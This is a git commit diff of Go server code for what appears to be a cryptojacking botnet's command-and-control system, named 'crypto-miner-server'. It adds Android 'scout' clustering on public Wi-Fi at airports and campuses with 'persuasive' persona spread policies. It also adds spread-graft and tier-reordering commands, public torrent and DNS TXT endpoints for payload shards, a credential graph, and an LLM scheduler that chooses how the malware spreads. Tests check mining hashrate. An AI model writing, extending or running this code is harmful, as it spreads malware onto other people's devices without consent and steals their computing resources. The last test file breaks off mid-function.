Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -33,6 +33,7 @@ func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) {
|
||||
if len(skips) == 0 {
|
||||
return
|
||||
}
|
||||
h.recordGossipWhisper(senderSubnet, hints)
|
||||
out := Message{
|
||||
Type: "atlas_gossip",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
|
||||
@@ -314,9 +314,34 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
|
||||
if body.SpreadRouteHint != nil {
|
||||
body.SpreadRouteHint.ErasureLanesEnabled = true
|
||||
}
|
||||
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
|
||||
if body.SpreadRouteHint == nil {
|
||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||
}
|
||||
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
||||
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func shardsFromStore(store *erasure.ShardStore, token string) [][]byte {
|
||||
if store == nil || token == "" {
|
||||
return nil
|
||||
}
|
||||
p, ok := store.ParamsFor(token)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
total := p.TotalShards()
|
||||
out := make([][]byte, total)
|
||||
for i := 0; i < total; i++ {
|
||||
if sh, ok := store.Get(token, i); ok {
|
||||
out[i] = sh
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
|
||||
if h.pathTracer == nil {
|
||||
return nil
|
||||
|
||||
@@ -286,6 +286,16 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
return "fetch_module:" + module, nil
|
||||
case fleetai.CmdReorderTiers:
|
||||
return e.pushReorderTiers(agentID, args)
|
||||
case fleetai.CmdSpreadGraft:
|
||||
sourceID, _ := args["source_agent_id"].(string)
|
||||
if sourceID == "" {
|
||||
return "", fmt.Errorf("spread_graft requires source_agent_id")
|
||||
}
|
||||
graft, err := e.Hub.ApproveFleetGraft(sourceID, agentID)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "spread_graft:" + graft.GraftTier, nil
|
||||
case fleetai.CmdBulkCommand:
|
||||
return e.runBulkCommand(args)
|
||||
case fleetai.CmdAgentCommand:
|
||||
@@ -303,6 +313,57 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
return "", err
|
||||
}
|
||||
return action, nil
|
||||
case fleetai.CmdPersonaTweak:
|
||||
persona, _ := args["persona"].(string)
|
||||
if strings.TrimSpace(persona) == "" {
|
||||
return "", fmt.Errorf("persona_tweak requires persona")
|
||||
}
|
||||
e.Hub.mu.Lock()
|
||||
policy := e.Hub.serverPolicy
|
||||
policy.AIPersona = fleetai.NormalizePersona(persona)
|
||||
e.Hub.serverPolicy = policy
|
||||
e.Hub.mu.Unlock()
|
||||
return "persona:" + policy.AIPersona, nil
|
||||
case fleetai.CmdEnableErasure:
|
||||
e.Hub.mu.Lock()
|
||||
policy := e.Hub.serverPolicy
|
||||
policy.ErasureLanesEnabled = true
|
||||
e.Hub.serverPolicy = policy
|
||||
e.Hub.mu.Unlock()
|
||||
return "erasure:on", nil
|
||||
case fleetai.CmdSpreadGraft:
|
||||
sourceID, _ := args["source_agent_id"].(string)
|
||||
tier, _ := args["tier"].(string)
|
||||
if strings.TrimSpace(sourceID) == "" {
|
||||
return "", fmt.Errorf("spread_graft requires source_agent_id")
|
||||
}
|
||||
if e.Hub.db == nil {
|
||||
return "", fmt.Errorf("database unavailable")
|
||||
}
|
||||
source, err := e.Hub.db.GetAgent(strings.TrimSpace(sourceID))
|
||||
if err != nil || source == nil {
|
||||
return "", fmt.Errorf("source agent not found")
|
||||
}
|
||||
skipTiers := []interface{}{}
|
||||
if strings.TrimSpace(tier) != "" {
|
||||
skipTiers = append(skipTiers, strings.TrimSpace(tier))
|
||||
}
|
||||
graftArgs := map[string]interface{}{"graft_source": sourceID, "graft_tier": tier}
|
||||
if source.JoinLane != "" {
|
||||
graftArgs["join_lane"] = source.JoinLane
|
||||
}
|
||||
if len(skipTiers) > 0 {
|
||||
if err := e.pushReorderTiers(agentID, map[string]interface{}{"skip_tiers": skipTiers}); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
if source.JoinLane != "" {
|
||||
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", map[string]interface{}{"lane": source.JoinLane}); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "graft:" + source.JoinLane, nil
|
||||
}
|
||||
return "graft:recorded", nil
|
||||
default:
|
||||
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
|
||||
return "", err
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
@@ -44,6 +45,7 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled})
|
||||
|
||||
cfgSrc := &mutableFleetAIConfig{view: aiCfg}
|
||||
pathTracer := NewPathTracerHandler(hub)
|
||||
sched := fleetai.NewScheduler(
|
||||
&ConfigAIAdapter{Src: cfgSrc},
|
||||
&WSHubSnapshotAdapter{Hub: hub},
|
||||
@@ -52,6 +54,15 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
|
||||
&DatabaseCourtAdapter{DB: database},
|
||||
hub.ClearanceManager(),
|
||||
)
|
||||
sched.SetSurgicalDeps(fleetai.SurgicalDeps{
|
||||
Trace: &PathTraceSurgicalAdapter{Hub: hub, PathTrace: pathTracer},
|
||||
Strain: &DatabaseStrainMemoryAdapter{DB: database},
|
||||
Seer: &HubSeerEmitter{Hub: hub, DB: database},
|
||||
StrainLookup: func(agentID string) string {
|
||||
return StrainFromAgent(hub, agentID)
|
||||
},
|
||||
ErasureActive: func() bool { return hub.PolicyErasureEnabled() },
|
||||
})
|
||||
return hub, database, sched
|
||||
}
|
||||
|
||||
@@ -492,3 +503,130 @@ func TestIntegrationAIOverridesAdaptive(t *testing.T) {
|
||||
t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationSurgicalReplayFlow exercises pathtrace trace + partial spread failure → surgical fix → strain memory + Seer.
|
||||
func TestIntegrationSurgicalReplayFlow(t *testing.T) {
|
||||
aiCfg := FleetAIConfigView{
|
||||
AIControlEnabled: true, AIEndpoint: "http://127.0.0.1:9/v1",
|
||||
AIModel: "test-model", AIDecisionIntervalSec: 1,
|
||||
}
|
||||
hub, database, sched := newFleetIntelligenceHub(t, aiCfg)
|
||||
|
||||
agentID := "surgical-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online",
|
||||
SpreadStrain: "#112233",
|
||||
LOTLAttempts: []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
}{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false, Error: "daemon missing"},
|
||||
},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
sessPayload, _ := json.Marshal(pathTraceSessionPersist{
|
||||
ID: "surgical-sess",
|
||||
AgentIDs: []string{agentID},
|
||||
Hops: []*HopInfo{{AgentID: agentID, AgentName: "surgical-host"}},
|
||||
Error: "spread blocked at docker",
|
||||
})
|
||||
if err := database.UpsertPathTraceSession("surgical-sess", time.Now().UTC(), sessPayload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var capturedPrompt string
|
||||
oldDecide := fleetai.DecideFunc
|
||||
fleetai.DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) {
|
||||
capturedPrompt = systemPrompt + "\n" + userPrompt
|
||||
return `Rationale: skip docker and retry wsl lane.
|
||||
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
|
||||
}
|
||||
t.Cleanup(func() { fleetai.DecideFunc = oldDecide })
|
||||
|
||||
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
|
||||
"agent_id": agentID, "hostname": "surgical-host", "platform": "windows", "version": "1.0",
|
||||
})
|
||||
pushPartialSpreadTelemetry(t, conn)
|
||||
|
||||
cmdCh := make(chan string, 1)
|
||||
go func() {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "adaptive_strategy_update" {
|
||||
continue
|
||||
}
|
||||
cmdCh <- "reorder_tiers"
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
sched.ResetLastRunForTest(agentID, 2*time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
if capturedPrompt == "" {
|
||||
t.Fatal("expected surgical replay LLM prompt")
|
||||
}
|
||||
if strings.Contains(capturedPrompt, "## PROSECUTOR") {
|
||||
t.Fatalf("expected surgical replay prompt, not court: %s", capturedPrompt)
|
||||
}
|
||||
if !strings.Contains(capturedPrompt, "Surgical replay") {
|
||||
t.Fatalf("missing surgical replay header: %s", capturedPrompt)
|
||||
}
|
||||
|
||||
select {
|
||||
case action := <-cmdCh:
|
||||
if action != "reorder_tiers" {
|
||||
t.Fatalf("unexpected dispatch %q", action)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for surgical reorder_tiers on agent WS")
|
||||
}
|
||||
|
||||
strainRows, err := database.ListStrainMemory(agentID, 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(strainRows) != 1 || strainRows[0].FailedTier != "docker" {
|
||||
t.Fatalf("strain memory: %+v", strainRows)
|
||||
}
|
||||
seerRows, err := database.ListSeerEvents(5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(seerRows) != 1 || seerRows[0].EventType != "surgical_replay" {
|
||||
t.Fatalf("seer events: %+v", seerRows)
|
||||
}
|
||||
decisions, err := database.ListAIDecisions(agentID, 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(decisions) == 0 || !strings.Contains(decisions[0].CommandsExecuted, "surgical:") {
|
||||
t.Fatalf("expected surgical decision audit, got %+v", decisions)
|
||||
}
|
||||
}
|
||||
|
||||
func pushPartialSpreadTelemetry(t *testing.T, conn *websocket.Conn) {
|
||||
t.Helper()
|
||||
attempts := []map[string]interface{}{
|
||||
{"tier": "vuln_recon", "ok": true, "duration_ms": 100},
|
||||
{"tier": "docker", "ok": false, "error": "daemon missing", "duration_ms": 500},
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"lotl_attempts": attempts,
|
||||
"lotl_tier": "docker",
|
||||
"mining_hashrate": 0.0,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
@@ -81,6 +81,13 @@ type TraceSession struct {
|
||||
// Client WireGuard keypair — used to build the QR config.
|
||||
clientPrivKey string
|
||||
clientPubKey string
|
||||
// Onion timeline fork/merge — ghost branches explore persona spread/mining on target hop.
|
||||
TimelineRootID string `json:"timeline_root_id,omitempty"`
|
||||
TimelineBranches []*TimelineBranch `json:"timeline_branches,omitempty"`
|
||||
MergedPersona string `json:"merged_persona,omitempty"`
|
||||
MergedSpreadLane string `json:"merged_spread_lane,omitempty"`
|
||||
MergedBranchID string `json:"merged_branch_id,omitempty"`
|
||||
MergedHashrate float64 `json:"merged_hashrate,omitempty"`
|
||||
}
|
||||
|
||||
const (
|
||||
@@ -122,6 +129,12 @@ type pathTraceSessionPersist struct {
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
ClientPrivKey string `json:"client_priv_key,omitempty"`
|
||||
ClientPubKey string `json:"client_pub_key,omitempty"`
|
||||
TimelineRootID string `json:"timeline_root_id,omitempty"`
|
||||
TimelineBranches []*TimelineBranch `json:"timeline_branches,omitempty"`
|
||||
MergedPersona string `json:"merged_persona,omitempty"`
|
||||
MergedSpreadLane string `json:"merged_spread_lane,omitempty"`
|
||||
MergedBranchID string `json:"merged_branch_id,omitempty"`
|
||||
MergedHashrate float64 `json:"merged_hashrate,omitempty"`
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) loadPersistedSessions() {
|
||||
@@ -163,6 +176,12 @@ func (h *PathTracerHandler) loadPersistedSessions() {
|
||||
NetworkHints: rec.NetworkHints,
|
||||
clientPrivKey: rec.ClientPrivKey,
|
||||
clientPubKey: rec.ClientPubKey,
|
||||
TimelineRootID: rec.TimelineRootID,
|
||||
TimelineBranches: rec.TimelineBranches,
|
||||
MergedPersona: rec.MergedPersona,
|
||||
MergedSpreadLane: rec.MergedSpreadLane,
|
||||
MergedBranchID: rec.MergedBranchID,
|
||||
MergedHashrate: rec.MergedHashrate,
|
||||
}
|
||||
}
|
||||
if len(rows) > 0 {
|
||||
@@ -189,6 +208,12 @@ func (h *PathTracerHandler) persistSession(sess *TraceSession) {
|
||||
NetworkHints: sess.NetworkHints,
|
||||
ClientPrivKey: sess.clientPrivKey,
|
||||
ClientPubKey: sess.clientPubKey,
|
||||
TimelineRootID: sess.TimelineRootID,
|
||||
TimelineBranches: sess.TimelineBranches,
|
||||
MergedPersona: sess.MergedPersona,
|
||||
MergedSpreadLane: sess.MergedSpreadLane,
|
||||
MergedBranchID: sess.MergedBranchID,
|
||||
MergedHashrate: sess.MergedHashrate,
|
||||
}
|
||||
h.mu.Unlock()
|
||||
raw, err := json.Marshal(rec)
|
||||
@@ -303,6 +328,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
h.mu.Lock()
|
||||
h.sessions[sess.ID] = sess
|
||||
initCanonicalTimeline(sess)
|
||||
h.mu.Unlock()
|
||||
h.persistSession(sess)
|
||||
|
||||
@@ -345,6 +371,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
|
||||
resp["spread_routes"] = routes
|
||||
}
|
||||
for k, v := range timelineFieldsForStatus(sess) {
|
||||
resp[k] = v
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
|
||||
@@ -207,6 +207,47 @@ func encodeDNSTXTShard(data []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/erasure-torrent/{token}/manifest
|
||||
func (h *PublicHandler) ErasureTorrentManifest(w http.ResponseWriter, r *http.Request) {
|
||||
if h.erasureShards == nil {
|
||||
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
token := strings.TrimSpace(chi.URLParam(r, "token"))
|
||||
if token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
p, ok := h.erasureShards.ParamsFor(token)
|
||||
if !ok {
|
||||
http.Error(w, "torrent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
total := p.TotalShards()
|
||||
shards := make([][]byte, total)
|
||||
hasAny := false
|
||||
for i := 0; i < total; i++ {
|
||||
if sh, ok := h.erasureShards.Get(token, i); ok {
|
||||
shards[i] = sh
|
||||
hasAny = true
|
||||
}
|
||||
}
|
||||
if !hasAny {
|
||||
http.Error(w, "torrent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
base := strings.TrimRight(strings.TrimSpace(r.URL.Scheme+"://"+r.Host), "/")
|
||||
if base == "://" {
|
||||
base = "http://127.0.0.1:8989"
|
||||
}
|
||||
manifest, err := erasure.BuildTorrentManifest(base, token, "", len(shards[0])*p.DataShards, p, erasure.ShardContentHashes(shards))
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, manifest)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/erasure-shard/{token}/{index}
|
||||
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
|
||||
if h.erasureShards == nil {
|
||||
|
||||
@@ -571,6 +571,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
phenotypeHandler := NewPhenotypeHandler(database)
|
||||
r.Get("/phenotypes", phenotypeHandler.List)
|
||||
|
||||
subnetAutopsyHandler := NewSubnetAutopsyHandler(wsHub, pathTracerHandler)
|
||||
r.Get("/atlas/subnet-autopsy", subnetAutopsyHandler.Get)
|
||||
|
||||
if fleetHandler != nil {
|
||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
||||
@@ -585,6 +588,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
||||
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
|
||||
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
|
||||
r.Post("/fleet/graft", fleetHandler.PostFleetGraft)
|
||||
r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards)
|
||||
r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard)
|
||||
}
|
||||
if fleetAIHandler != nil {
|
||||
r.Get("/ai/models", fleetAIHandler.GetModels)
|
||||
@@ -593,6 +599,15 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
|
||||
r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents)
|
||||
}
|
||||
seerHandler := NewSeerHandler(database)
|
||||
r.Get("/seer/stream", seerHandler.GetStream)
|
||||
r.Post("/seer/stream", seerHandler.PostStream)
|
||||
r.Get("/seer/notes", seerHandler.GetNotes)
|
||||
r.Post("/seer/notes", seerHandler.PostNote)
|
||||
r.Get("/seer/tools", seerHandler.GetTools)
|
||||
r.Post("/seer/tools/spread_route", seerHandler.ToolSpreadRoute)
|
||||
r.Post("/seer/tools/graft_strain", seerHandler.ToolGraftStrain)
|
||||
r.Post("/seer/tools/fork_onion", seerHandler.ToolForkOnion)
|
||||
|
||||
moduleStore := NewModuleStore(dataDir, func() string {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
@@ -638,6 +653,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||
}
|
||||
if wsHub != nil {
|
||||
scoutHandler := NewScoutConstellationHandler(wsHub)
|
||||
r.Get("/scout/constellations", scoutHandler.GetConstellations)
|
||||
}
|
||||
// Path Forge: walk a local server path, place launchers next to every file
|
||||
if pathForgeHandler != nil {
|
||||
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
||||
@@ -722,6 +741,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
r.Post("/pathtrace/spread-route", pathTracerHandler.SpreadRoute)
|
||||
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
|
||||
r.Post("/pathtrace/fork", pathTracerHandler.Fork)
|
||||
r.Post("/pathtrace/merge", pathTracerHandler.Merge)
|
||||
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
||||
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
@@ -751,6 +772,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
||||
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
|
||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
}
|
||||
})
|
||||
|
||||
106
server/internal/api/scout_constellation.go
Normal file
106
server/internal/api/scout_constellation.go
Normal file
@@ -0,0 +1,106 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
)
|
||||
|
||||
// ScoutConstellationHandler serves active scout venue constellations.
|
||||
type ScoutConstellationHandler struct {
|
||||
hub *WSHub
|
||||
}
|
||||
|
||||
// NewScoutConstellationHandler returns a REST handler backed by the WS hub.
|
||||
func NewScoutConstellationHandler(hub *WSHub) *ScoutConstellationHandler {
|
||||
return &ScoutConstellationHandler{hub: hub}
|
||||
}
|
||||
|
||||
// GET /api/v1/scout/constellations
|
||||
func (h *ScoutConstellationHandler) GetConstellations(w http.ResponseWriter, _ *http.Request) {
|
||||
if h.hub == nil {
|
||||
writeJSON(w, map[string]interface{}{"constellations": []fleetai.ScoutConstellation{}})
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"constellations": h.hub.scoutConstellationSnapshot(),
|
||||
"generated_at": time.Now().UTC().Format(time.RFC3339),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) ensureScoutConstellations() {
|
||||
if h.scoutConstellations == nil {
|
||||
h.scoutConstellations = fleetai.NewScoutConstellationRegistry()
|
||||
}
|
||||
if h.scoutAgents == nil {
|
||||
h.scoutAgents = make(map[string]bool)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) scoutConstellationSnapshot() []fleetai.ScoutConstellation {
|
||||
h.scoutConstellationMu.Lock()
|
||||
defer h.scoutConstellationMu.Unlock()
|
||||
h.ensureScoutConstellations()
|
||||
return h.scoutConstellations.Snapshot()
|
||||
}
|
||||
|
||||
func (h *WSHub) scoutConstellationForAgent(agentID string) *fleetai.ScoutConstellation {
|
||||
h.scoutConstellationMu.Lock()
|
||||
defer h.scoutConstellationMu.Unlock()
|
||||
h.ensureScoutConstellations()
|
||||
return h.scoutConstellations.ForAgent(agentID)
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestScoutConstellationReport(agentID, ssid string, serviceCount int) {
|
||||
h.scoutConstellationMu.Lock()
|
||||
defer h.scoutConstellationMu.Unlock()
|
||||
h.ensureScoutConstellations()
|
||||
h.scoutAgents[agentID] = true
|
||||
|
||||
constellation, changed := h.scoutConstellations.Record(agentID, ssid, serviceCount, time.Now().UTC())
|
||||
if !changed {
|
||||
return
|
||||
}
|
||||
|
||||
h.broadcastScoutConstellationsLocked()
|
||||
h.pushScoutConstellationPolicyLocked(constellation)
|
||||
}
|
||||
|
||||
func (h *WSHub) broadcastScoutConstellationsLocked() {
|
||||
snapshot := h.scoutConstellations.Snapshot()
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "scout_constellations",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"constellations": snapshot,
|
||||
"generated_at": time.Now().UTC().Format(time.RFC3339),
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) pushScoutConstellationPolicyLocked(constellation fleetai.ScoutConstellation) {
|
||||
spreadPolicy := fleetai.BuildScoutSpreadPolicy(constellation)
|
||||
temp := fleetai.PersonaSpreadTemperament(constellation.PersonaPack)
|
||||
policy := FleetAgentPolicy{SpreadTemperament: &temp}
|
||||
|
||||
for _, agentID := range constellation.AgentIDs {
|
||||
payload := marshalPolicyUpdatePayload("scout-constellation-"+constellation.SSID, policy)
|
||||
var body map[string]interface{}
|
||||
_ = json.Unmarshal(payload, &body)
|
||||
if body == nil {
|
||||
body = map[string]interface{}{}
|
||||
}
|
||||
body["spread_policy"] = spreadPolicy
|
||||
out, _ := json.Marshal(body)
|
||||
_ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: out})
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) scoutSpreadPolicyForAuth(agentID string) map[string]interface{} {
|
||||
c := h.scoutConstellationForAgent(agentID)
|
||||
if c == nil {
|
||||
return nil
|
||||
}
|
||||
return fleetai.BuildScoutSpreadPolicy(*c)
|
||||
}
|
||||
137
server/internal/api/scout_constellation_test.go
Normal file
137
server/internal/api/scout_constellation_test.go
Normal file
@@ -0,0 +1,137 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestScoutConstellationFormsAndPushesSpreadPolicy(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
ssid := "SFO-Airport-Free"
|
||||
now := time.Now().UTC()
|
||||
for i, id := range []string{"scout-a", "scout-b", "scout-c"} {
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: id, Name: id, Platform: "android", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: now,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.ingestScoutConstellationReport(id, ssid, 18+i)
|
||||
}
|
||||
|
||||
snapshot := hub.scoutConstellationSnapshot()
|
||||
if len(snapshot) != 1 {
|
||||
t.Fatalf("constellations=%d", len(snapshot))
|
||||
}
|
||||
if snapshot[0].VenueClass != fleetai.VenueAirport {
|
||||
t.Fatalf("venue=%q", snapshot[0].VenueClass)
|
||||
}
|
||||
if snapshot[0].PersonaPack != fleetai.PersonaPersuasive {
|
||||
t.Fatalf("persona=%q", snapshot[0].PersonaPack)
|
||||
}
|
||||
|
||||
policy := hub.scoutSpreadPolicyForAuth("scout-a")
|
||||
if policy == nil {
|
||||
t.Fatal("missing spread policy for scout in constellation")
|
||||
}
|
||||
if policy["persona_pack"] != fleetai.PersonaPersuasive {
|
||||
t.Fatalf("policy persona=%v", policy["persona_pack"])
|
||||
}
|
||||
if policy["venue_class"] != fleetai.VenueAirport {
|
||||
t.Fatalf("policy venue=%v", policy["venue_class"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutConstellationRESTEndpoint(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.ingestScoutConstellationReport("scout-1", "Campus-WiFi", 10)
|
||||
hub.ingestScoutConstellationReport("scout-2", "Campus-WiFi", 11)
|
||||
hub.ingestScoutConstellationReport("scout-3", "Campus-WiFi", 12)
|
||||
|
||||
handler := NewScoutConstellationHandler(hub)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/scout/constellations", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
handler.GetConstellations(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body struct {
|
||||
Constellations []fleetai.ScoutConstellation `json:"constellations"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(body.Constellations) != 1 {
|
||||
t.Fatalf("constellations=%d", len(body.Constellations))
|
||||
}
|
||||
if body.Constellations[0].VenueClass != fleetai.VenueCampus {
|
||||
t.Fatalf("venue=%q", body.Constellations[0].VenueClass)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutReportWSIngestsSSID(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
scoutID := "apk-scout-ws"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: scoutID, Name: "tablet", Platform: "android", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
